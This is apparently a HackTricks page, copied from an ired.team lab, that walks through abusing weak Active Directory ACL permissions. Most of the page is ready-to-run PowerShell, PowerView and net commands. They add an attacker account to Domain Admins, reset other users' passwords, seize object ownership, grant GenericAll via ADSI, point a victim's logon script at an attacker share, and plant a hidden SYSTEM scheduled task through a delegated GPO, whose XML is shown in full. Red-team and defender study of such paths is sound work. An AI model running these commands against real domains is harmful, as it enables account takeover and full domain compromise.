Abusing Active Directory ACLs/ACEs

Abusing Active Directory ACLs/ACEs
Support HackTricks and get benefits!
This information was copied from https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces because it's just perfect
Context
This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs.
Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).
An example of ACEs for the "Domain Admins" securable object can be seen here:
Some of the Active Directory object permissions and types that we as attackers are interested in:
GenericAll - full rights to the object (add users to a group or reset user's password)
GenericWrite - update object's attributes (i.e logon script)
WriteOwner - change object owner to attacker controlled user take over the object
WriteDACL - modify object's ACEs and give attacker full control right over the object
AllExtendedRights - ability to add user to a group or reset password
ForceChangePassword - ability to change user's password
Self (Self-Membership) - ability to add yourself to a group
In this lab, we are going to explore and try to exploit most of the above ACEs.
GenericAll on User
Using powerview, let's check if our attacking user spotless has GenericAll rights on the AD object for the user delegate:
1
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}  
Copied!
We can see that indeed our user spotless has the GenericAll rights, effectively enabling the attacker to take over the account:
We can reset user's delegate password without knowing the current password:
GenericAll on Group
Let's see if Domain admins group has any weak permissions. First of, let's get its distinguishedName:
1
Get-NetGroup "domain admins" -FullData
Copied!
1
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
Copied!
We can see that our attacking user spotless has GenericAll rights once again:
Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group:
1
net group "domain admins" spotless /add /domain
Copied!
Same could be achieved with Active Directory or PowerSploit module:
1
# with active directory module
2
Add-ADGroupMember -Identity "domain admins" -Members spotless
3
​
4
# with Powersploit
5
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
Copied!
GenericAll / GenericWrite / Write on Computer
If you have these privileges on a Computer object, you can pull Kerberos Resource-based Constrained Delegation: Computer Object Take Over off.
WriteProperty on Group
If our controlled user has WriteProperty right on All objects for Domain Admin group:
We can again add ourselves to the Domain Admins group and escalate privileges:
1
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
Copied!
Self (Self-Membership) on Group
Another privilege that enables the attacker adding themselves to a group:
1
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
Copied!
WriteProperty (Self-Membership)
One more privilege that enables the attacker adding themselves to a group:
1
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Copied!
1
net group "domain admins" spotless /add /domain
Copied!
ForceChangePassword
If we have ExtendedRight on User-Force-Change-Password object type, we can reset the user's password without knowing their current password:
1
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Copied!
Doing the same with powerview:
1
Set-DomainUserPassword -Identity delegate -Verbose
Copied!
Another method that does not require fiddling with password-secure-string conversion:
1
$c = Get-Credential
2
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
Copied!
...or a one liner if no interactive session is not available:
1
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Copied!
and one last way yo achieve this from linux:
1
rpcclient -U KnownUsername 10.10.10.192
2
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
Copied!
More info:
​https://malicious.link/post/2017/reset-ad-user-password-with-linux/​
​https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN​
​https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c​
WriteOwner on Group
Note how before the attack the owner of Domain Admins is Domain Admins:
After the ACE enumeration, if we find that a user in our control has WriteOwner rights on ObjectType:All
1
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Copied!
...we can change the Domain Admins object's owner to our user, which in our case is spotless. Note that the SID specified with -Identity is the SID of the Domain Admins group:
1
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
2
//You can also use the name instad of the SID (HTB: Reel)
3
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
Copied!
GenericWrite on User
1
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Copied!
WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script:
1
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
Copied!
Below shows the user's delegate logon script field got updated in the AD:
WriteDACL + WriteOwner
If you are the owner of a group, like I'm the owner of a Test AD group:
Which you can of course do through powershell:
1
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
Copied!
And you have a WriteDACL on that AD object:
...you can give yourself GenericAll privileges with a sprinkle of ADSI sorcery:
1
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
2
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
3
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
4
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
5
$ADSI.psbase.commitchanges()
Copied!
Which means you now fully control the AD object:
This effectively means that you can now add new users to the group.
Interesting to note that I could not abuse these privileges by using Active Directory module and Set-Acl / Get-Acl cmdlets:
1
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
2
$acl = Get-Acl -Path $path
3
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
4
$acl.AddAccessRule($ace)
5
Set-Acl -Path $path -AclObject $acl
Copied!
Replication on the domain (DCSync)
The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.
Learn more about the DCSync attack here.​
GPO Delegation
Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with offense\spotless user:
We can see this by leveraging PowerView like so:
1
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Copied!
The below indicates that the user offense\spotless has WriteProperty, WriteDacl, WriteOwner privileges among a couple of others that are ripe for abuse:
​More about general AD ACL/ACE abuse here.​
Abusing the GPO Permissions
We know the above ObjectDN from the above screenshot is referring to the New Group Policy Object GPO since the ObjectDN points to CN=Policies and also the CN={DDC640FF-634A-4442-BC2E-C05EED132F0C} which is the same in the GPO settings as highlighted below:
If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
1
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Copied!
Computers with a Given Policy Applied
We can now resolve the computer names the GPO Misconfigured Policy is applied to:
1
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
Copied!
Policies Applied to a Given Computer
1
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
Copied!
OUs with a Given Policy Applied
1
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
Copied!
Abusing Weak GPO Permissions
One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:
1
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
Copied!
The above will add our user spotless to the local administrators group of the compromised box. Note how prior to the code execution the group does not contain user spotless:
Force Policy Update
ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with gpupdate /force and see that our user spotless now belongs to local administrators group:
Under the hood
If we observe the Scheduled Tasks of the Misconfigured Policy GPO, we can see our evilTask sitting there:
Below is the XML file that got created by New-GPOImmediateTask that represents our evil scheduled task in the GPO:
\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
1
<?xml version="1.0" encoding="utf-8"?>
2
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
3
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
4
        <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
5
            <Task version="1.3">
6
                <RegistrationInfo>
7
                    <Author>NT AUTHORITY\System</Author>
8
                    <Description></Description>
9
                </RegistrationInfo>
10
                <Principals>
11
                    <Principal id="Author">
12
                        <UserId>NT AUTHORITY\System</UserId>
13
                        <RunLevel>HighestAvailable</RunLevel>
14
                        <LogonType>S4U</LogonType>
15
                    </Principal>
16
                </Principals>
17
                <Settings>
18
                    <IdleSettings>
19
                        <Duration>PT10M</Duration>
20
                        <WaitTimeout>PT1H</WaitTimeout>
21
                        <StopOnIdleEnd>true</StopOnIdleEnd>
22
                        <RestartOnIdle>false</RestartOnIdle>
23
                    </IdleSettings>
24
                    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
25
                    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
26
                    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
27
                    <AllowHardTerminate>false</AllowHardTerminate>
28
                    <StartWhenAvailable>true</StartWhenAvailable>
29
                    <AllowStartOnDemand>false</AllowStartOnDemand>
30
                    <Enabled>true</Enabled>
31
                    <Hidden>true</Hidden>
32
                    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
33
                    <Priority>7</Priority>
34
                    <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
35
                    <RestartOnFailure>
36
                        <Interval>PT15M</Interval>
37
                        <Count>3</Count>
38
                    </RestartOnFailure>
39
                </Settings>
40
                <Actions Context="Author">
41
                    <Exec>
42
                        <Command>cmd</Command>
43
                        <Arguments>/c net localgroup administrators spotless /add</Arguments>
44
                    </Exec>
45
                </Actions>
46
                <Triggers>
47
                    <TimeTrigger>
48
                        <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
49
                        <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
50
                        <Enabled>true</Enabled>
51
                    </TimeTrigger>
52
                </Triggers>
53
            </Task>
54
        </Properties>
55
    </ImmediateTaskV2>
56
</ScheduledTasks>
Copied!
Users and Groups
The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user spotless is added to the local administrators group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user spotless:
\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups
1
<?xml version="1.0" encoding="utf-8"?>
2
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
3
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
4
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
5
            <Members>
6
                <Member name="spotless" action="ADD" sid="" />
7
            </Members>
8
        </Properties>
9
    </Group>
10
</Groups>
Copied!
Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.
References
BloodHound 1.3 – The ACL Attack Path Update
wald0.com
ActiveDirectoryRights Enum (System.DirectoryServices)
docsmsft
Escalating privileges with ACLs in Active Directory
Fox-IT International blog
Scanning for Active Directory Privileges & Privileged Accounts
Active Directory Security
ActiveDirectoryAccessRule Constructor (System.DirectoryServices)
docsmsft
Support HackTricks and get benefits!